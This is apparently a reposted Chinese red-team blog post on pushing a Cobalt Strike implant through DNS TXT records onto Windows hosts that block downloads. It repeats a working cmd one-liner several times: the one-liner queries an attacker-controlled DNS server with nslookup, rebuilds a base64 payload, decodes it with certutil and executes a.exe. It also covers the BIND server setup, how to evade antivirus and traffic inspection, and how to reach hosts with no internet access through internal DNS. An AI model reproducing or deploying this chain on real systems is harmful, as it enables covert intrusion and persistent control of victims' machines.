打了这么多的攻防演练了,很多时候我们可以执行命令了,但是没有回显、也不交互、添加加用户远程桌面没开、想远程下载木马有杀软拦截、循环写入遇到负载均衡、或者目标根本不出网 当然了,一部分兄弟应该是有方法可以上线cs的,比如 certutil 方面的绕过等等吧,但是这些都不是长久之计,杀软随时都有可能把绕过的路堵死,我们是怎么思考这件事的呢?
接下来我们将以实现Windows只能执行命令且有杀软条件下的木马载荷传递上线cs为例介绍操作背后的“跨时代意义”的思想 0x01 传递载荷的方式大家总结的传递载荷的方式一般包括:
很多很多方法,但是基本上都被360这类的杀软给特殊照顾了,除非使用新的绕过手法,不然根本行不通 在刚上大学那会儿,打CTF时候遇到过一次签到题考点是 关于
在几乎所有的 Windows 系统上都有默认的 这样我们就有了载荷传递的方式 0x02 处理载荷现在我们已经有能力让服务器主动获取一段字符串了,但是这段字符串和其他的结果排列在一起,我们需要对这段字符进行处理,以便我们使用 如果你觉得这段很简单,我真的想哐哐给你两脚!!! 其实这是一个颇为复杂的东西,原因就是windows cmd 默认的指令能力实在是有限,我想截取一些字符串需要大量的操作,好在最后我解决了 获取载荷所在的行——findstr看似很顺利,但是这里有一个问题:我们要传递的木马文件会有大量的字符,会有很多很多行,如下所示: 所以如果想要获取所有的行,那么就需要在所有的行中设置一个 这样我们就把所有的载荷所在的行筛选出来了,虽然带着我们的 对载荷进行拼接如果是Linux,可能20分钟我就搞定了,但是 Windows 中愣是耗费了我两天时间 在 Windows cmd 中需要使用 for {%% | %}<variable> in (<set>) do <command> [<commandlineoptions>] 具体可以查看 for | Microsoft Docs https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/for 经过两天的挣扎制作出来的命令
上面这个指令可以实现写入任意你想写入的字符到 ttt.txt ,当然这离不开我们自己的DNS服务器端的配置
到目前来说,我们已经可以实现将脚本类的文件仅仅通过一个DNS请求写入到目标系统并且直接执行,所以说你要是擅长 bat,vbs等等脚本类东西你就可以直接上线了 但是我们的目的可不仅仅就是传递一个文本,我们要传递二进制可执行文件! 编码转换——certutil
详细使用方法参考 certutil | Microsoft Docs https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
这在Windows 中多命令里就算是宝藏了,不然用 cmd 命令实现 base64 解密得累死,当然了,这里推荐一个工具网站,可以把部分 c 语言逻辑的代码转为 bat 格式或者bash格式,但不要有特别大的期待 Batsh - A language that compiles to Bash and Windows Batch 我们分别将 base64: 如此格式的base64字符串才可以被成功转换为二进制可执行程序,你可能还没有意识到这里有什么问题,第一个问题是字符串包含头部和尾部字符串;第二个问题是每一行的字符串最大长度是固定的,64个字符 HEX: 好家伙,16进制这个虽然说没有头部和尾部字符串,但是可是有一堆不好处理的字符,打印其实倒也无妨,主要是这些字符占用空间太大了,这个原因直接导致我们放弃HEX,使用 base64 ,为什么这么坚决后面大家就知道了 既然我们选择了 base64 ,那我们就需要修改刚才的命令,以适应base64首尾字符串以及每行最大长度的要求 cmd /v:on /Q /c 'set a= && set b= && for /f 'tokens=*' %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr 'exec'') do (set a=%i && echo !a:~5,-2!)' 既然输出没有问题了,可以进行转换了,这里又涉及一个问题:
0x03 执行二进制程序[ 清理操作]这里清理操作我作为可选择项来进行考虑,因为通过执行二进制程序你已经获取到了一个 shell,这样的话,你可以通过shell来进行清理,所以这里就不进行清理操作了 cmd /v:on /Q /c 'set a= && set b= && for /f 'tokens=*' %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr 'exec'') do (set a=%i && echo !a:~5,-2!)' > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe OK,成功上线 CS 文章到这里可以结束了,但是以我们团队的风格来说,一定要把这其中涉及的知识点和大坑点说清楚 0x04 自建DNS服务器其实这里涉及两个场景,这也是精彩的地方,但也先不说,我们还是以上面这个案例为主来进行搭建,懂了这个,另一种场景你肯定也会懂的 DNS工作原理以及DNS服务器搭建过程可以参考下面几篇文章:
我以一个搞安全的角度去说一说DNS这块,上面案例的命令中我们使用 其中 在这种情况下,我们不需要拥有 听到这里你肯定感到了一丝窃喜对吧,你可以让目标主机向你的DNS服务器发起对
废话不多说,开始搭建: Centos 7 Bind DNS服务器程序,以解析 (Ubuntu 或者其他系统也是类似的,我保证你看懂这个,就能看懂其他的) 安装 BIND
修改 BIND 配置文件,允许其他主机使用 DNS 服务vim /etc/named.conf 这里主要就修改几项
修改后如下图所示 添加我们要解析的域名在辅助区域配置文件
为解析的域名设置 TXT 等记录的值我们直接复制一份 cp -a /var/named/named.localhost /var/named/mydomain.com.zone 默认内容就是上面这样的,我们可以在这里添加我们要的各种记录,这里只涉及 我们添加了一条 同时,我们为 启动 BIND 服务
成功启动,可以看到 53 端口监听在 systemctl stop firewalld 测试服务可用性可以看到,现在服务可用,我们可以任意修改解析记录来传递载荷了 0x05 一些大坑问题TXT 记录长度问题本来这个实验我是用自己 这里的问题是经过我的fuzz 那这里就涉及一个问题了,是不是 当然,你完全可以使用 BIND 服务器超长字符配置方法这种问题一般人是不会使用到的,所以搜索起来比较麻烦,好在国外有大哥遇到了,并且给出了书写规范 现在我们设置 说白了就是直接写了一个字符串,但是如果字符串长度过长,就会导致服务启动失败,我们可以通过下面这种形式将长字符分割为多个字符组合 这种情况下,只要每行不超过最大值,就可以写很多很多行的字符,实测可以超过 UDP 包大小限制上一个大坑解决以后,我以为可以任意字符写入了,最终在搞定了其他条件后,测试的时候发现,一个 为啥我没有记得这么清晰呢?因为当我设置为最大值的时候,我发现 后来我查阅了一些资料明白过来,DNS请求和回应包都是 UDP包,UDP包最大长度为 好在 CobaltStrike 生成的 Centos 默认存在防火墙这个问题上面已经说到了
NAT 模式下虚拟机之间不互通这一点是我网络知识没有学好,导致前期配置好了DNS服务器,但是一直解析失败,导致自我怀疑 使用 桥接模式 或者直接使用 VPS 就解决了 cmd 字符转义问题
DOS特殊字符转义方法_kucece的专栏-CSDN博客_dos转义字符 我没有找到原作者是谁,只能po上来这篇转载的文章,csdn 让人恶心的地方就是标记了转载,但是可以不设置转自哪里 cmd 命令中变量值不变的问题这个问题看起来很奇怪,但是很重要,cmd命令中,如果你不开启延时变量,变量的值在循环过程中是不会变化的,在批处理中可以使用 cmd 命令中关闭命令本身 echo
这个大家自行体会一下就可以了 cmd 命令中 for 命令边界问题很难想象,在 cmd 中 for 命令是没有边界的,至少是我没有发现 什么叫没有边界呢? for /f for /f 'tokens=*' %%i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr 'exec'') do (xxxxx) 这里 但是如果我想在整个for 循环命令结束后打印某个变量
这个时候的结果是每一次循环都会打印一次 这个问题没有办法解决,只能通过嵌套 这个时候我们再来看上面例子中传递任意字符的那条指令 cmd /v:on /Q /c 'set a= && set b= && for /f 'tokens=*' %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr 'exec'') do (set a=%i && set b=!b!!a:~5,-2!) && set c=!a:~-6,-2! && if 'eofs' == '!c:~0,-1!' echo !b:~1,-4!' > ttt.txt 这里有一个判断是 这里的 0x06 再走一遍CS木马上线这回把所有的知识点都解释了,我们来重新实施一遍,一次性让大家都能够实操 DNS服务器搭建这种就不说了,只说配置问题 生成木马文件certutil 生成特定格式base64字符串
将字符串处理成 BIND 配置文件BIND 配置文件的字符格式为 ('aaa' 所以需要把上面的字符串简单处理一下,这个简单写个 python 脚本就能解决,这里就不写了 将这段字符复制到 重启 DNS 服务
目标主机一条命令加载并执行程序上线CScmd /v:on /Q /c 'set a= && set b= && for /f 'tokens=*' %i in ('nslookup -qt^=TXT www.mydomain.com 192.168.31.88 ^| findstr 'exec'') do (set a=%i && echo !a:~5,-2!)' > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe 成功上线CS 0x07 为什么说这种思想有“跨时代”意义吹牛成分较大,但是确确实实解决了一些问题,还可以引出很多的扩展的思考 1. 写文件不怕负载均衡设备了这个没啥说的,我们把一切变成了原子操作 2. 一定程度上躲避杀软和流量检测我们可以让目标向我们自己的DNS服务器去解析百度的域名,一定程度上会逃过流量检测 3. 将不出网的主机变成了出网主机这点很重要,很多目标单位重要系统虽然不出网,但是这些服务器配置了自己的内网DNS服务器,也就是说他们可以主动通过单位内部的DNS服务器连接外部,如果结合今天讨论的方法,我们可以让这个不出网的主机直接执行一个 DNS隧道的木马 或者 让木马做直接做端口复用,这样可以完成反向隧道或者正向连接,形成控制不出网主机的目的 下面我们针对目标系统可以执行命令,但是不出网,目标系统配置了它们单位自己的DNS,可以解析DNS这种情况做一下思路整理: 因为本身不出网,假设 这个请求就变成了: 目标主机 -> 内网DNS -> 根服务器等 -> 这样同样可以获取最大 之后木马同样通过这种路径与 4. 这种思想几乎适用于所有的系统这个没啥说的,就是字符处理命令上的不同,Windows、Linux、Mac、AIX等 5. 这里只是利用了DNS协议和nslookup,其他呢?这里留白,留给更多愿意思考的安全人 |
|
来自: 新用户36657816 > 《待分类》